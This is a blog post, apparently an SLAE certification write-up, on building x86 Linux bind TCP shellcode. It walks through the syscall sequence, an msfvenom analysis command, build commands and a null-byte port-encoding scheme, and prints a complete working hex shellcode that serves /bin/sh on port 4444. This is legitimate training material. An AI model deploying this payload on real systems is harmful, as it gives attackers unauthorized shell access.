x86 Linux Bind TCP Shellcode

Smooth Operator
5 min readJan 12, 2022

This blog post is a part of SLAE exam series. In this part we will cover assignment #1, Bind TCP Shellcode.

Shellcode features:

  • x86 Linux;
  • Does not rely on socketcall (0x66) syscall and instead uses direct syscalls such as socket(0x167), accept(0x16c), bind(0x169), etc (compatible with x86 Linux 4.3 and later);
  • Avoids null bytes for any listening port configuration;
  • Source code here.

Bind Shellcode Study

In order to write a bind shellcode, we first need to understand what one should consist of. The easiest way would be to study an existing one.

We begin by running Metasploit’s linux/x86/shell_bind_tcp shellcode through sctest shellcode emulator:

msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest  -vvv -S -s 10000

As can be seen on the screenshot below, sctest highlighted which syscalls are used by the MSF’s shellcode (reality is a bit more complicated since MSF’s shellcode is actually calling socketcall (0x66) and passing a specific function to invoke as one of the socketcallarguments).

Running sctest on MSF’s linux/x86/shell_bind_tcp shellcode
Running sctest on MSF’s linux/x86/shell_bind_tcp shellcode

By further studying some of the Linux programming classics, the task at hand becomes pretty clear. Our shellcode needs to do the following:

  1. Create a new socket with socket syscall;
  2. Bind the socket to a specific TCP port with bind syscall;
  3. Mark the socket as passive socket (i.e.: the one receiving incoming connections) with listen syscall;
  4. Listen and accept an incoming connection with accept syscall;
  5. Duplicate STDIN, STDOUT and STERR file descriptors in order to redirect all application IO to the socket connected in step 4 with dup2 syscall;
  6. Run /bin/sh program within current process space (meaning overwrite current process that hosts our shellcode with Bourne shell program) with execve syscall.

Proof of Concept

Before we dive into assembly writing, it may be a good idea to write a quick POC in some higher language to validate the assumptions stated above. C would be an ideal candidate given that most of the Linux OS is written in it and it plays nicely with all the system APIs.

Below is our POC code to spawn a bind shell:

Compile the above code with the following command (works on 20.04 x64 Ubuntu):

gcc -m32 bind_shell.c -o poc

Let’s try run it:

Running the POC code

Success! Time to write some .asm code.

ASM Goodness

Now, let’s translate our C code into a proper x86 assembly. Make sure there are no null bytes (0x00) and make it short (we are not going to check syscall return values, who has space for that?).

Below you can see annotated shellcode to spawn a bind shell on a TCP port 4444.

Compile and link our shellcode with the following commands (works on x64 Ubuntu 20.04):

# compile
nasm -f elf32 slae-1-bind-shell.nasm -o slae-1-bind-shell.o
# link
ld -m elf_i386 slae-1-bind-shell.o -o slae-1-bind-shell

Let’s run it and see what happens:

Running compiled shellcode for the first time

And it worked! Great success.

Basic Loader Test

It is important to test your shellcode in close-to-real-life settings. At the very least, we can have a loader program that will inject and run our shellcode within itself.

First, let’s extract our shellcode from the binary compiled in the previous step. For this, we will use a well-known bash one-liner:

objdump -d ./slae-1-bind-shell |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

The command above would result in the following output. This is our shellcode compiled in x86 machine language:

"\x29\xc0\x31\xdb\x29\xc9\x31\xd2\x29\xf6\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x29\xd2\xb2\x10\x66\xb8\x69\x01\xcd\x80\x89\xc1\x66\xb8\x6b\x01\xcd\x80\x66\xb8\x6c\x01\xcd\x80\x89\xc3\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x29\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe1\xb0\x0b\xcd\x80"

Now, we take a basic loader written in C (taken from the SLAE course materials and modified to work with a modern Linux kernel) and insert our shellcode in the code variable.

Compile the shellcode.c with the same command we used before:

gcc -m32 shellcode.c -o shellcode

Quick test to ensure it works as expected:

Shellcode test with a basic loader

Success once again!

Automate All the Things

The last task is to automate the shellcode generation so that our shellcode can listen on any port we like.

The task sounds pretty straightforward: take a user provided input, convert it to a big-endian format (network byte order) and replace the hardcoded 0x5c11 (which is decimal 4444 converted to big-endian) value in our shellcode with a new port number.

There is one catch though, we wanted to avoid having null-bytes (0x00) in our shellcode, but some of the port numbers in a 2-byte int (aka short) will definitely end up with a null-byte in them. Some examples of these potential port numbers are 0xFF00 (port number 255) or 0x00FF (port number 65280). So our automation script needs to be able to handle that.

To account for those 500+ port numbers with null-byte in them, we came up with the following strategy.

Low order byte contains a null-byte

If a low order byte contains a null-byte (e.g.: 0x3400), we do the following:

  1. Move a 2-byte int into into thedx register (can be any other register), making sure the low order byte is the byte we want to end up in the high order position;
  2. Shift dx left by 8 bits. Now we have the low order byte in the high order position and the low order byte being zeroed out;
  3. Push dx onto the stack.

This would look as follows in x86 assembly:

mov    dx,0x3434 
shl dx,0x8
push dx

High order byte contains a null-byte

If a high order byte contains a null-byte (e.g.: 0x00f1), we follow the same approach but instead of shifting to the left, we shift to the right as can be seen in the example below:

mov    dx,0xf1f1
shr dx,0x8
push dx

Final result

Below you can see a simple python script to automate our shellcode generation and account for all the port numbers that may contain a null-byte in them:

Here are a few sample runs of the shellcode generator script. Notice how the shellcode size changes whenever the bind port contains a null-byte in it.

Sample runs of the shellcode generator script with different port values
Sample runs of the shellcode generator script with different port values

Exam Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: PA-30942

--

--